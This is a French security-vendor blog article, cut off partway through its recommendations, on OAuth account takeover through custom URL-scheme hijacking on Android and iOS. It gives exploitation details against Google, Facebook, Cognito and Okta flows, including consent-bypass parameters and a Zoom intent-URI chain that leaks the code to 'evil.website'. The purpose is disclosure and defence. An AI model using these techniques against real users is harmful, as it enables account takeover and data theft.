Neutron, notre moteur d’IA, a obtenu un score de 96,75 % sur le benchmark CyberGym de l’UC Berkeley. En savoir plus

Sécurité

Sécurité

Prise de contrôle de compte OAuth par détournement de schéma d'URL

Comment une application malveillante peut détourner un schéma d'URL personnalisé pour prendre le contrôle de comptes OAuth, avec des exploits visant Google, Facebook, Cognito et Okta, et des correctifs pour Android et iOS.

Introduction

OAuth est devenu une pierre angulaire pour garantir un échange sûr et fluide des données des utilisateurs entre applications et services. Avec l'essor des écosystèmes interconnectés et la demande d'expériences conviviales, OAuth est partout : il sous-tend nos interactions avec les réseaux sociaux, les services dans le cloud et une myriade d'applications. Cependant, cette utilisation généralisée fait aussi d'OAuth une cible de choix pour les acteurs malveillants qui cherchent à exploiter des vulnérabilités, et la sécurité de ce protocole est donc devenue primordiale. Dans ce contexte, la menace insidieuse de la prise de contrôle de compte OAuth par usurpation d'application est devenue un enjeu de sécurité majeur pour les utilisateurs et les fournisseurs OAuth.

Cet article explore en profondeur les rouages complexes de ce schéma de vulnérabilité et met en lumière les multiples façons dont des acteurs malveillants peuvent compromettre des comptes d'utilisateurs, usurper des applications mobiles légitimes et abuser du protocole OAuth. En détournant des schémas d'URL personnalisés, les attaquants peuvent manipuler les flux d'authentification OAuth et tromper les utilisateurs pour qu'ils accordent un accès non autorisé à leurs comptes et à leurs informations personnelles. Les conséquences de telles compromissions peuvent être considérables : fuites de données, pertes financières et atteinte à la réputation, tant pour les utilisateurs que pour les éditeurs d'applications.

Notre objectif est donc de donner aux lecteurs une compréhension complète de cette menace en évolution, en présentant les techniques d'attaque les plus récentes, des exemples concrets et, surtout, des conseils pour identifier et atténuer ces risques.

Comment fonctionne OAuth ?

OAuth (abréviation de Open Authorization) est un framework d'autorisation très répandu qui permet aux applications web, mobiles et de bureau de demander à un fournisseur OAuth un accès limité au compte d'un utilisateur, sans que celui-ci communique ses identifiants de connexion et, en même temps, en lui permettant de révoquer cet accès à tout moment. Un bon exemple est la connexion à une application avec un compte Google, sans avoir à saisir ses identifiants et ses informations depuis le début.

OAuth est un standard très flexible par conception : certains composants sont présents dans toutes les implémentations, mais beaucoup d'autres peuvent être personnalisés selon les besoins du développeur. Cette flexibilité ouvre la porte à une grande variété de vulnérabilités potentielles, qui peuvent provenir d'une part de mauvaises pratiques et de mauvaises configurations de sécurité, et d'autre part de l'utilisation de redirections pour transférer des données sensibles entre ses composants.

Il existe deux versions majeures d'OAuth, OAuth 1.0 et OAuth 2.0, aussi appelé OAuth2. Il existe également des extensions qui renforcent les implémentations OAuth, comme OpenID Connect, une couche d'authentification construite au-dessus d'OAuth 2.0 qui assure la vérification d'identité et l'authentification des utilisateurs, ou OAuth 2.0 PKCE (Proof Key for Code Exchange), une extension de sécurité destinée aux clients publics pour se protéger de l'interception et du rejeu du code d'autorisation. OAuth 1.0 est obsolète.

Dans cet article, nous désignerons OAuth 2.0 par « OAuth », car c'est le standard de l'industrie.

Les étapes d'OAuth varient selon les paramètres OAuth utilisés. En gros, OAuth fonctionne de la manière suivante :

  • L'application cliente demande l'accès à un sous-ensemble des données de l'utilisateur, en précisant le type d'accès à ces données (déterminé par scope) et le type d'autorisation (response_type).
  • L'utilisateur est invité à se connecter au serveur d'autorisation OAuth et à consentir au périmètre demandé.
  • L'application cliente reçoit du serveur d'autorisation un code à usage unique, appelé code.
  • L'application cliente échange ce code contre un access token.
  • L'application cliente utilise le jeton d'accès reçu pour effectuer des appels d'API vers le serveur de ressources et demander les données auxquelles l'utilisateur a consenti.

Voici un exemple d'implémentation OAuth chez Auth0, où Auth0 Tenant joue le rôle de serveur d'autorisation et Your API celui de serveur de ressources.

Figure 1 : implémentation OAuth d'Auth0 (source : Auth0)
Implémentation OAuth d'Auth0

Les principaux composants du framework d'autorisation OAuth sont les suivants :

Les rôles OAuth

Dans une implémentation OAuth typique, quatre entités, aussi appelées rôles, interviennent :

  • Application cliente (Client application) : application qui demande l'accès à une ressource protégée auprès du serveur de ressources, au nom du propriétaire de la ressource.

  • Propriétaire de la ressource (Resource Owner) : utilisateur dont les données sont demandées par l'application cliente.

  • Serveur de ressources (Resource Server) : serveur qui héberge les ressources protégées. Il constitue la source des données de l'utilisateur.

  • Serveur d'autorisation (Authorization Server) : serveur qui authentifie le propriétaire de la ressource et émet des jetons d'accès après avoir obtenu l'autorisation et le consentement requis. Il joue le rôle de fournisseur d'identité.

Dans de nombreuses implémentations OAuth, le serveur de ressources et le serveur d'autorisation peuvent faire partie de la même entité : un seul serveur gère alors l'authentification et donne accès aux données de l'utilisateur. On parle dans ce cas de fournisseur de service OAuth

Les types d'autorisation OAuth (grant types)

OAuth définit plusieurs types d'autorisation (aussi appelés flux ou méthodes d'autorisation) pour répondre à différents cas d'usage et scénarios. Chaque type est conçu pour des exigences de sécurité et applicatives précises. Voici les types d'autorisation OAuth les plus courants :

  • Authorization Code Grant : c'est le type d'autorisation OAuth le plus courant pour les applications web et mobiles. Il s'effectue en deux étapes : le client obtient d'abord un code d'autorisation auprès du serveur d'autorisation, puis l'échange contre un jeton d'accès. Il peut être associé à Proof Key for Code Exchange (PKCE) pour empêcher l'interception et le rejeu du code.

  • Implicit Grant : ce type d'autorisation est conçu pour les applications monopages (SPA). Il délivre le jeton d'accès directement au client, sans code d'autorisation intermédiaire. S'il est plus simple à implémenter, il peut poser des problèmes de sécurité et ne convient donc pas aux applications sensibles soumises à de fortes exigences de sécurité.

  • Resource Owner Password Credentials Grant : ce type d'autorisation permet à un client d'obtenir directement un jeton d'accès en fournissant les identifiants de l'utilisateur final au serveur d'autorisation. Il est généralement utilisé dans les scénarios où le client est de très grande confiance.

  • Client Credentials Grant : dans ce type d'autorisation, le client (généralement une application côté serveur) s'authentifie directement auprès du serveur d'autorisation avec ses propres identifiants (identifiant client et secret). Il reçoit ensuite un jeton d'accès fondé sur son identité. Ce type d'autorisation n'implique pas l'utilisateur.

  • Refresh Token Grant : ce type d'autorisation sert à obtenir un nouveau jeton d'accès à l'aide d'un jeton d'actualisation émis avec le jeton d'accès initial. Il est utile pour les sessions de longue durée, sans obliger l'utilisateur à se réauthentifier. Dans certaines implémentations OAuth, il est désigné par access_type, qui peut valoir online ou offline.

  • Device Code Grant : conçu pour les appareils aux capacités de saisie limitées (par exemple les objets connectés ou les téléviseurs intelligents), ce type d'autorisation fournit un code que l'utilisateur peut saisir sur un autre appareil pour terminer le processus d'autorisation.

  • JWT Bearer Token Grant : dans ce type d'autorisation, un JSON Web Token (JWT) sert à demander un jeton d'accès. Le JWT est signé et contient généralement des claims que le client peut présenter au serveur d'autorisation pour obtenir l'émission d'un jeton.

  • SAML 2.0 Bearer Assertion Grant : il sert à échanger une assertion SAML contre un jeton d'accès OAuth, souvent dans le contexte de systèmes d'authentification unique (SSO).

Les scopes OAuth

Pour tout type d'autorisation OAuth, l'application cliente doit préciser les données auxquelles elle a besoin d'accéder, ainsi que les opérations autorisées sur ces données. Elle le fait avec le paramètre scope de la requête d'autorisation.

Les scopes OAuth peuvent être personnalisés pour chaque implémentation et n'ont pas à suivre un format standard. Une application peut demander plusieurs scopes à la fois. Voici des exemples de scopes possibles :

  • email
  • profile
  • contacts.read
  • logging.write
  • https://www.googleapis.com/auth/youtube
  • https://www.googleapis.com/auth/yt-analytics-monetary.readonly

Pour l'authentification, la couche d'identité OpenID Connect (OIDC) est généralement utilisée au-dessus d'OAuth. L'un des scopes les plus courants dans ce cas est openid profile : openid est obligatoire pour indiquer qu'OIDC est utilisé, et profile est un ensemble prédéfini d'informations de base sur l'utilisateur, comme le prénom, le nom, la date de naissance, l'adresse e-mail, etc.

Qu'est-ce qui peut mal tourner ?

De nombreuses mauvaises configurations de sécurité peuvent découler d'une implémentation OAuth non sécurisée, notamment :

Paramètre state manquant menant à une CSRF

Le paramètre state est envoyé en va-et-vient entre l'application cliente et le serveur d'autorisation. Il peut être personnalisé selon les besoins du développeur. Il sert généralement de protection contre la CSRF. Lorsque le paramètre state n'est pas appliqué, un attaquant peut forcer un utilisateur ciblé à se connecter à un compte donné.

Jeton exposé dans le flux OAuth Implicit

L'un des principaux problèmes de l'Implicit Grant OAuth est qu'il place le jeton d'accès dans le fragment de l'URL, comme ceci : https://auth.myapp.com/#access_token.

Le jeton devient ainsi accessible à n'importe quel code JavaScript en cours d'exécution, y compris le code tiers. Cela présente aussi un risque supplémentaire si le site n'utilise pas HTTPS, car le jeton pourrait alors fuiter lors d'attaques MITM. Pour l'éviter, l'Authorization Code Grant OAuth comporte une étape intermédiaire : au lieu de demander directement le jeton, il demande un code à usage unique, automatiquement révoqué une fois échangé contre un jeton d'accès. Cet échange utilise le client_secret de l'application cliente, qui n'est généralement pas exposé à l'utilisateur (avec des exceptions, comme dans les implémentations mobiles).

Validation du scope défaillante ou absente

Pendant un flux OAuth, l'application cliente précise un paramètre scope qui détermine les données de l'utilisateur qu'elle demande au serveur d'autorisation (openid, profile, email, etc.), ainsi que le type d'accès (read, write, readonly). Le serveur d'autorisation demande ensuite le consentement de l'utilisateur pour accorder cet accès.

L'application peut d'abord demander un scope très limité, comme profile par exemple, obtenir le consentement de l'utilisateur, puis décider de demander davantage de données en modifiant le scope. Si le serveur d'autorisation ne valide pas le nouveau scope demandé par rapport à celui demandé initialement, il permettra à l'application cliente de contourner le consentement de l'utilisateur et de demander plus de données que celles auxquelles l'utilisateur a initialement consenti.

Fuite de l'autorisation OAuth par une validation laxiste de redirect uri

L'un des principaux défauts des flux OAuth est le recours à des redirections dans le navigateur pour transférer des données confidentielles entre les différents composants OAuth, en particulier l'autorisation OAuth (grant), qui permet à l'application cliente de demander les données de l'utilisateur au serveur d'autorisation.

Comme tout repose sur la redirection, le paramètre redirect_uri d'OAuth doit être strictement validé. Toute validation laxiste permettrait à des acteurs malveillants de faire fuiter l'autorisation OAuth d'un utilisateur ciblé et, par conséquent, de prendre le contrôle de son compte sur l'application cliente et, en même temps, d'obtenir un accès limité (selon le scope) à ses données sur le serveur de ressources.

Voici quelques exemples de validation laxiste de redirect_uri pouvant mener à une fuite de l'autorisation OAuth :

  • Aucune validation de redirect_uri : c'est le pire scénario. L'URI de redirection est acceptée telle quelle, sans aucune validation, ce qui signifie qu'un attaquant peut utiliser n'importe quel domaine et pousser un utilisateur à se connecter ; dès que l'utilisateur est connecté, son autorisation OAuth fuit.
  • Correspondance par préfixe de redirect_uri : au lieu de comparer strictement l'URI de redirection, certaines applications vérifient seulement qu'elle commence par un domaine précis, par exemple que redirect_uri commence par https://www.domain.com, alors qu'un attaquant peut utiliser https://www.domain.com.malicious.com qui serait tout de même considérée comme valide alors qu'elle ne devrait pas l'être.
  • Correspondance par joker de redirect_uri : certaines implémentations peuvent autoriser n'importe quel sous-domaine comme URI de redirection. Si un attaquant parvient à compromettre ou à détourner un sous-domaine, il peut donc l'utiliser comme URI de redirection.
  • Correspondance partielle de redirect_uri : certaines implémentations valident le domaine mais pas le chemin. Cela peut poser un problème de sécurité lorsqu'une redirection ouverte (open redirect) est trouvée dans l'URI de redirection, car un attaquant peut s'en servir pour faire fuiter l'autorisation OAuth grâce à une seconde redirection.

Fuite de l'autorisation OAuth via les adresses de loopback

Certains fournisseurs OAuth s'appuient sur des adresses de loopback pour échanger des données entre l'application cliente (de bureau et mobile) et le serveur d'autorisation. Un acteur malveillant peut ainsi démarrer son propre serveur local sur un port précis, déclencher un flux OAuth avec ce serveur comme redirect_uri et, par conséquent, faire fuiter l'autorisation OAuth.

Voici un exemple de Google Cloud SDK qui utilise Google OAuth avec localhost comme redirect_uri pour permettre à la CLI gcloud de s'authentifier :

https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://localhost:8085/&scope=openid&access_type=offline

Notons que, même si le client_id ci-dessus était destiné à l'application de bureau gcloud CLI, il restait accessible depuis des appareils mobiles, ce qui offrait aux attaquants une surface d'attaque supplémentaire qu'il aurait suffi, pour l'éviter, de restreindre ce flux OAuth aux user agents de bureau.

Usurpation d'application mobile OAuth

L'une des hypothèses clés du flux d'authentification OAuth concerne la propriété de l'entité vers laquelle pointe redirect_uri. Dans le cas de redirect_uri=https://www.clientapp.com/callback/oauth, on suppose que www.clientapp.com appartient à l'application cliente, puisque c'est elle qui l'a configuré comme redirect_uri et qu'elle est la seule à pouvoir revendiquer ce domaine.

Pour les applications mobiles, l'implémentation typique d'OAuth repose sur des schémas personnalisés comme redirect_uri=com.target.app://oauth. Le problème est que n'importe quelle application présente sur l'appareil de l'utilisateur peut enregistrer ce schéma et recevoir l'autorisation OAuth destinée à l'application légitime.

Pour enregistrer un schéma d'URI personnalisé, une application doit le déclarer en ajoutant à son manifeste un intent filter semblable à celui-ci :

<activity android:exported="true" android:name="PACKAGE_NAME.CLASS_NAME">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:host="oauthredirect" android:scheme="oauthscheme"/>
    </intent-filter>
</activity>

Deux applications peuvent enregistrer le même schéma. Dans ce cas, le système peut les différencier grâce à d'autres attributs comme host, port, path et le type MIME. Si les deux applications ont les mêmes attributs, le système laisse l'utilisateur décider quelle application utiliser pour continuer (figure 2).

Figure 2 : conflit de schéma
Conflit de schéma

Moins l'élément data d'un intent filter est précis, plus sa couverture est large : si les données acceptées ne précisent par exemple que le scheme, toutes les URI portant ce schéma seront reçues par l'intent filter correspondant.

En pratique, un attaquant exploite OAuth selon les scénarios suivants :

Figure 3 : diagramme du conflit de schéma

Voici le détail de la figure ci-dessus :

1- L'application malveillante est installée, pas l'application légitime :

Dans ce scénario, une application malveillante peut revendiquer un schéma personnalisé OAuth appartenant à une application légitime et déclencher le flux d'authentification OAuth. Une fois que l'utilisateur s'est connecté et a donné son consentement, l'application malveillante reçoit automatiquement l'autorisation OAuth, sans aucune interaction supplémentaire de l'utilisateur.

2- L'application malveillante et l'application légitime sont toutes deux installées :

i - L'élément data de l'intent filter de l'application légitime ne précise que le schéma :

Dans ce scénario, une application malveillante peut enregistrer le schéma personnalisé OAuth appartenant à l'application légitime. Lorsque l'application légitime déclenche le flux OAuth et que l'utilisateur se connecte et donne son consentement, une fenêtre s'ouvre pour laisser l'utilisateur choisir entre l'application légitime et l'application malveillante ; selon son choix, l'application malveillante peut ou non recevoir le code d'autorisation.

ii - L'élément data de l'intent filter de l'application légitime précise le schéma et le nom d'hôte :

  • Lorsque la validation de l'hôte de redirect_uri est laxiste : dans ce scénario, une application malveillante peut enregistrer le schéma personnalisé OAuth appartenant à une application légitime et déclencher le flux d'authentification OAuth avec un nom d'hôte modifié dans redirect_uri. Une fois que l'utilisateur s'est connecté et a donné son consentement, l'application malveillante reçoit automatiquement l'autorisation OAuth, sans aucune interaction supplémentaire de l'utilisateur.

  • Lorsque la validation de redirect_uri est stricte : dans ce scénario, que le flux OAuth soit déclenché par l'application légitime ou par l'application malveillante, l'utilisateur se voit toujours proposer les deux applications après la connexion et le consentement ; le résultat de l'exploitation dépend alors du choix de l'utilisateur.

iii - Confusion de schéma Android / iOS :

Si l'application cible utilise OAuth sur Android et sur iOS avec des schémas différents, un attaquant peut enregistrer, sur une cible Android, le schéma personnalisé prévu pour la version iOS de l'application et déclencher le flux OAuth. L'application malveillante évite ainsi le conflit de schéma avec l'application légitime.

Dans l'exemple ci-dessous, la même application utilise deux schémas différents, com.googleusercontent.apps.616463764658-p01hhcj82u4mqjnp1oca04i3o67fjsm1 et com.googleusercontent.apps.340331662088-a8asqpqohdks6umfpk9p0h1oc2e885v1, respectivement pour Android et pour iOS.

Figure 4 : schéma Android
Schéma Android

Figure 5 : schéma iOS
Schéma iOS

Usurpation d'application mobile OAuth avec contournement par intent URI (Chrome uniquement)

Il s'agit d'un autre vecteur d'attaque dans lequel l'attaquant parvient à rediriger la victime vers une URI basée sur un intent puis, à partir de cet intent, à forcer l'utilisateur à une seconde redirection vers un hôte web malveillant. L'attaquant peut ainsi faire fuiter l'autorisation OAuth sans aucune application malveillante. Cette attaque ne fonctionne que contre Chrome, où les intent URI sont prises en charge.

Un exemple est la prise de contrôle de compte OAuth signalée sur Zoom ; voici comment l'attaque se déroule :

L'attaque pouvait être menée en incitant les utilisateurs à visiter l'URL suivante :

https://accounts.google.com/o/oauth2/v2/auth?response_type=code&access_type=offline&client_id=849883241272-ed6lnodi1grnoomiuknqkq2rbvd2udku.apps.googleusercontent.com&scope=profile%20email&redirect_uri=https%3A%2F%2Fzoom.us%2Fgoogle%2Foauth&state=intent%3A%2F%2Fzoom.us%2Fgoogle%2Foauth?#Intent;scheme=https://evil.website/;end;

La victime arrivait alors sur :

https://zoom.us/google/oauth?state=intent%3A%2F%2Fzoom.us%2Fgoogle%2Foauth%3F&code=SECRET&scope=email+profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile+openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email&authuser=0&prompt=none#Intent;scheme=https://evil.website/;end;

Puis sur :

intent://zoom.us/google/oauth?&token=ENCRYPTED_TOKEN#Intent;scheme=https://evil.website/;end;

Et enfin sur :

https://evil.website/zoom.us/google/oauth?&token=ENCRYPTED_TOKEN

Usurpation d'application mobile OAuth : exploitation

La liste ci-dessous présente l'exploitation concrète de quelques-uns des fournisseurs OAuth les plus courants. Notez qu'elle n'est pas exhaustive : nous avons trouvé d'autres fournisseurs vulnérables appartenant à certains de nos grands clients, notamment des prestataires de santé régionaux, des fournisseurs d'identité gouvernementaux et d'autres.

Google OAuth

Lors de notre analyse, nous avons constaté que plusieurs applications utilisant Google OAuth reposaient sur l'implémentation par schéma personnalisé. Le schéma personnalisé de Google suit généralement le format suivant : com.googleusercontent.apps.[APPLICATION_ID]

Une URL de requête d'autorisation Google OAuth typique pour mobile avec des schémas personnalisés ressemble à ceci, où [APPLICATION_ID] est un espace réservé pour l'identifiant de l'application (par exemple 616463764658-p01hhcj82u4mqjnp1oca04i3o67fjsm1) :

https://accounts.google.com/o/oauth2/v2/auth?client_id=[APPLICATION_ID].apps.googleusercontent.com&redirect_uri=com.googleusercontent.apps.[APPLICATION_ID]://oauthredirect&scope=email+profile&response_type=code

Après une authentification et un consentement réussis, l'URL ci-dessus redirige vers com.googleusercontent.apps.[APPLICATION_ID]://oauthredirect, avec l'autorisation OAuth et d'autres paramètres OAuth en paramètres d'URL, qui sont reçus côté application cliente grâce à l'intent filter ci-dessous :

 <activity android:exported="true" android:name="net.openid.appauth.RedirectUriReceiverActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:host="oauthredirect" android:scheme="com.googleusercontent.apps.[APPLICATION_ID]"/>
    </intent-filter>
</activity>

Pendant l'exploitation, nous avons rencontré quelques difficultés, notamment :

  • Conflit avec l'application légitime sur le schéma personnalisé enregistré

L'une des façons de le résoudre est d'utiliser la confusion de schéma Android / iOS expliquée plus haut.

  • Interaction de l'utilisateur requise pour le consentement

Dans un flux Google Web OAuth, il est possible de contourner l'écran de demande de consentement si l'utilisateur a déjà donné son consentement, en définissant le paramètre OAuth prompt=none. Ce comportement ne s'applique toutefois pas sur mobile (uniquement sur le web). L'une des techniques que nous avons trouvées pour contourner la demande de consentement et obtenir un flux fluide consistait à ajouter un paramètre OAuth login_hint et à lui donner pour valeur l'adresse e-mail de l'utilisateur ciblé. Cela suppose de connaître cette adresse à l'avance ; il existe des techniques pour l'obtenir, mais nous ne les aborderons pas dans cet article.

Facebook OAuth

Facebook utilise un schéma personnalisé standard, fbconnect. Pour éviter un conflit sur le schéma, les applications doivent préciser une propriété supplémentaire host dans l'élément data de l'intent filter.

Une URL de requête d'autorisation Facebook OAuth typique pour mobile ressemble à ceci, où [APPLICATION_ID] est un espace réservé pour l'identifiant de l'application (par exemple com.spotify.music) :

https://m.facebook.com/v15.0/dialog/oauth?client_id=[CLIENT_ID]&sso=chrome_custom_tab&nonce=RANDOM_NONCE&scope=openid%2Cpublic_profile&login_behavior=NATIVE_WITH_FALLBACK&redirect_uri=fbconnect%3A%2F%2Fcct.[APPLICATION_ID]&response_type=id_token%2Ctoken%2Csigned_request%2Cgraph_domain&return_scopes=true

Comme pour le flux Google OAuth ci-dessus, après une authentification et un consentement réussis, l'utilisateur est redirigé vers fbconnect://cct.[APPLICATION_ID] avec l'autorisation OAuth et d'autres paramètres OAuth en paramètres d'URL. Côté application cliente, l'intent filter ressemble à ceci :

<activity android:name="com.facebook.CustomTabActivity" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="fbconnect" android:host="cct.[APPLICATION_ID]"/>
    </intent-filter>
</activity>

Même si les applications devraient préciser l'hôte en plus du schéma personnalisé, l'hôte n'est pas validé côté backend. Un attaquant peut donc éviter le conflit de schéma avec l'application légitime en déclenchant le flux OAuth avec un hôte différent. Voici un exemple :

L'application Spotify légitime utilise fbconnect comme schéma et cct.com.spotify.music comme hôte ; l'URL de requête d'autorisation ressemble à ceci : https://m.facebook.com/v15.0/dialog/oauth?client_id=174829003346&sso=chrome_custom_tab&nonce=RANDOM_NONCE&scope=openid%2Cpublic_profile&login_behavior=NATIVE_WITH_FALLBACK&redirect_uri=fbconnect%3A%2F%2Fcct.com.spotify.music&response_type=id_token%2Ctoken%2Csigned_request%2Cgraph_domain&return_scopes=true

L'intent filter de l'application Spotify légitime ressemblerait à ceci :

<activity android:name="com.facebook.CustomTabActivity" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="fbconnect" android:host="cct.com.spotify.music"/>
    </intent-filter>
</activity>

Une application malveillante peut déclencher le même flux OAuth mais avec un hôte différent. Comme le backend Facebook OAuth accepterait n'importe quel hôte commençant par cct., nous utiliserons un hôte que l'application Spotify légitime n'attend pas, comme cct.com.fakespotify.malware. Voici un exemple d'URL de requête d'autorisation de ce type : https://m.facebook.com/v15.0/dialog/oauth?client_id=174829003346&sso=chrome_custom_tab&nonce=RANDOM_NONCE&scope=openid%2Cpublic_profile&login_behavior=NATIVE_WITH_FALLBACK&redirect_uri=fbconnect%3A%2F%2Fcct.com.fakespotify.malware&response_type=id_token%2Ctoken%2Csigned_request%2Cgraph_domain&return_scopes=true

L'intent filter de l'application Spotify malveillante ressemblerait à ceci :

<activity android:name="com.facebook.CustomTabActivity" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="fbconnect" android:host="cct.com.fakespotify.malware"/>
    </intent-filter>
</activity>

L'application malveillante recevrait quand même la même autorisation OAuth que celle destinée à l'application légitime, car c'est le paramètre client_id qui identifie l'application demandant des données au serveur d'autorisation. Avoir le même client_id 174829003346 que Spotify signifie donc que nous l'avons usurpée avec succès.

Amazon Cognito OAuth

Amazon Cognito est un service proposé par Amazon Web Services (AWS) qui fournit la gestion des identités et des utilisateurs pour les applications web et mobiles. Il est conçu pour faciliter l'ajout, par les développeurs, de fonctions d'authentification, d'autorisation et de gestion des utilisateurs à leurs applications. Amazon Cognito permet d'authentifier des utilisateurs via un fournisseur d'identité externe et fournit des identifiants de sécurité temporaires pour accéder aux ressources backend de l'application dans AWS ou à tout service placé derrière Amazon API Gateway. Amazon Cognito fonctionne avec des fournisseurs d'identité externes qui prennent en charge SAML ou OpenID Connect, avec des fournisseurs d'identité sociaux (comme Facebook, Twitter, Amazon) et peut aussi intégrer un fournisseur d'identité personnalisé.

La partie qui nous intéresse est OpenID Connect, car il est construit au-dessus d'OAuth 2.0 et utilise un schéma personnalisé pour l'authentification OAuth sur mobile. L'URL OAuth mobile d'Amazon Cognito ressemble à ceci :

https://[AMAZON_COGNITO_ENDPOINT]/login?response_type=code&client_id=[CLIENT_ID]&redirect_uri=[CUSTOM_SCHEME]://sign-in&scope=openid

Côté application cliente, nous avons l'intent filter suivant :

<activity android:name="com.amplifyframework.auth.cognito.activities.HostedUIRedirectActivity" android:exported="true" android:launchMode="singleTask">
    <intent-filter android:autoVerify="true">
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="[CUSTOM_SCHEME]"/>
        <data android:host="sign-in"/>
        <data android:host="sign-out"/>
    </intent-filter>
</activity>
  • Contournement de l'interaction de l'utilisateur

Il est possible de contourner l'interaction de l'utilisateur en utilisant un autre endpoint, /oauth2/authorize. Voici un exemple d'URL :

https://[AMAZON_COGNITO_ENDPOINT]/oauth2/authorize?redirect_uri=[CUSTOM_SCHEME]://sign-in&response_type=TOKEN&client_id=[CLIENT_ID]&scope=openid

Okta OAuth

Okta est une plateforme cloud de gestion des identités et des accès (IAM) qui fournit une authentification et une autorisation sécurisées pour les applications, les appareils et les utilisateurs. Elle permet aux organisations de gérer et de contrôler l'accès à leurs différentes ressources, sur site comme dans le cloud.

L'offre principale d'Okta est le Single Sign-On, qui permet aux utilisateurs d'accéder à plusieurs applications et services avec un seul jeu d'identifiants de connexion. Okta SSO propose de multiples intégrations, les plus courantes étant SAML et OpenID Connect.

Comme les fournisseurs d'identité ci-dessus, Okta utilise un schéma personnalisé pour son implémentation OAuth mobile. Il n'existe pas de schéma standard : les applications peuvent définir leurs propres schémas personnalisés comme com.myorg.myapp.dev, avec une URL de requête d'autorisation qui ressemble à ceci :

https://[OKTA_IDP_ENDPOINT]/oauth2/[IDENTIFIER]/v1/authorize?scope=[SCOPE]&response_type=code&redirect_uri=com.myorg.myapp.dev://login&client_id=[CLIENT_ID]

Côté application cliente, nous avons l'intent filter suivant pour recevoir l'autorisation OAuth :

<activity
    android:name="com.okta.oidc.OktaRedirectActivity"
    android:exported="true"
    android:launchMode="singleInstance"
    android:autoRemoveFromRecents="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <data android:scheme="com.myorg.myapp.dev" />
    </intent-filter>
</activity>
  • Contournement de l'interaction de l'utilisateur

Comme pour Google OAuth, Okta dispose lui aussi d'un paramètre OAuth login_hint qui, lorsqu'il reçoit l'adresse e-mail de l'utilisateur ciblé, permet à l'application malveillante de contourner l'interaction de l'utilisateur (le consentement) et d'obtenir un flux fluide.

Applications populaires trouvées vulnérables

L'un des plus grands réseaux sociaux, avec plus de 3,5 milliards de téléchargements, s'est révélé vulnérable à ce schéma de vulnérabilité. Un exploit de preuve de concept a été développé, dans lequel le conflit de schéma avec l'application légitime est contourné grâce à la technique de confusion de schéma Android / iOS décrite plus haut. L'interaction de l'utilisateur est également contournée en définissant le paramètre login_hint sur l'adresse e-mail de l'utilisateur ciblé.

Pour développer une preuve de concept fonctionnelle qui contourne l'interaction de l'utilisateur, nous avons dû franchir plusieurs étapes, chacune avec ses propres difficultés.

Le schéma personnalisé utilisé par l'application Android pour Google OAuth était déjà enregistré dès lors que l'application légitime était installée sur l'appareil. Une application malveillante tentant d'enregistrer le même schéma aurait provoqué un conflit obligeant l'utilisateur à choisir entre les deux applications (légitime et malveillante). Pour surmonter cette difficulté, nous avons utilisé le schéma iOS plutôt que celui d'une cible Android, ce qui nous a permis d'éviter ce conflit et, par conséquent, de contourner la première partie de l'interaction de l'utilisateur.

Une autre difficulté tenait au fait que l'interaction de l'utilisateur restait nécessaire pour terminer l'authentification OAuth. Nous avons réussi à la contourner en faisant fuiter l'adresse e-mail de l'utilisateur et en la passant au paramètre OAuth login_hint, de sorte que l'exploit ne dépendait plus de l'interaction de l'utilisateur.

Voici à quoi ressemble l'autorisation OAuth ayant fuité. Elle nous permettrait d'accéder au compte de l'utilisateur ciblé, ainsi que d'avoir un accès limité à son compte Google selon le scope demandé :

Figure 6 : autorisation OAuth ayant fuité du réseau social
Autorisation OAuth ayant fuité du réseau social

Nous avons signalé cette vulnérabilité au réseau social, qui l'a reconnue

De nombreuses autres applications populaires se sont révélées vulnérables à ce schéma, dont des applications comptant plus de 100 M de téléchargements.

Recommandations

Dans le contexte d'OAuth, les schémas personnalisés ont longtemps été utilisés, mais il existe des options plus sûres et plus fiables, notamment :

Les Android Verifiable App Links et les iOS Associated Domains sont des mécanismes implémentés respectivement par les systèmes d'exploitation Android et iOS pour renforcer la sécurité et l'expérience utilisateur des applications mobiles. Les Android Verifiable App Links garantissent que, lorsqu'un utilisateur clique sur un lien web associé à une application Android, le système en vérifie l'authenticité, ce qui le rend moins exposé à l'hameçonnage et aux attaques malveillantes. Les iOS Associated Domains, quant à eux, permettent aux applications iOS d'établir des connexions de confiance avec des domaines web précis, pour une intégration fluide entre applications et contenus web, comme l'authentification unique et les universal links. Ces deux technologies renforcent la fiabilité des interactions des applications mobiles et simplifient les interactions de l'utilisateur, contribuant à un écosystème mobile plus sûr et plus pratique.

Android

Vous devez héberger sur votre backend un fichier /.well-known/assetlinks.json dont le format ressemble à ceci :

[
  {
    "relation": [
      "delegate_permission/common.handle_all_urls",
      "delegate_permission/common.get_login_creds"
    ],
    "target": {
      "namespace": "android_app",
      "package_name": "com.myapplication.android",
      "sha256_cert_fingerprints": [
        "APPLICATION_CERT_FINGERPRINT"
      ]
    }
  }
]

AndroidManifest.xml

    <intent-filter android:autoVerify="true">
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.DEFAULT" />
    <category android:name="android.intent.category.BROWSABLE" />

    <!-- If a user clicks on a shared link that uses the "http" scheme, your
         app should be able to delegate that traffic to "https". -->
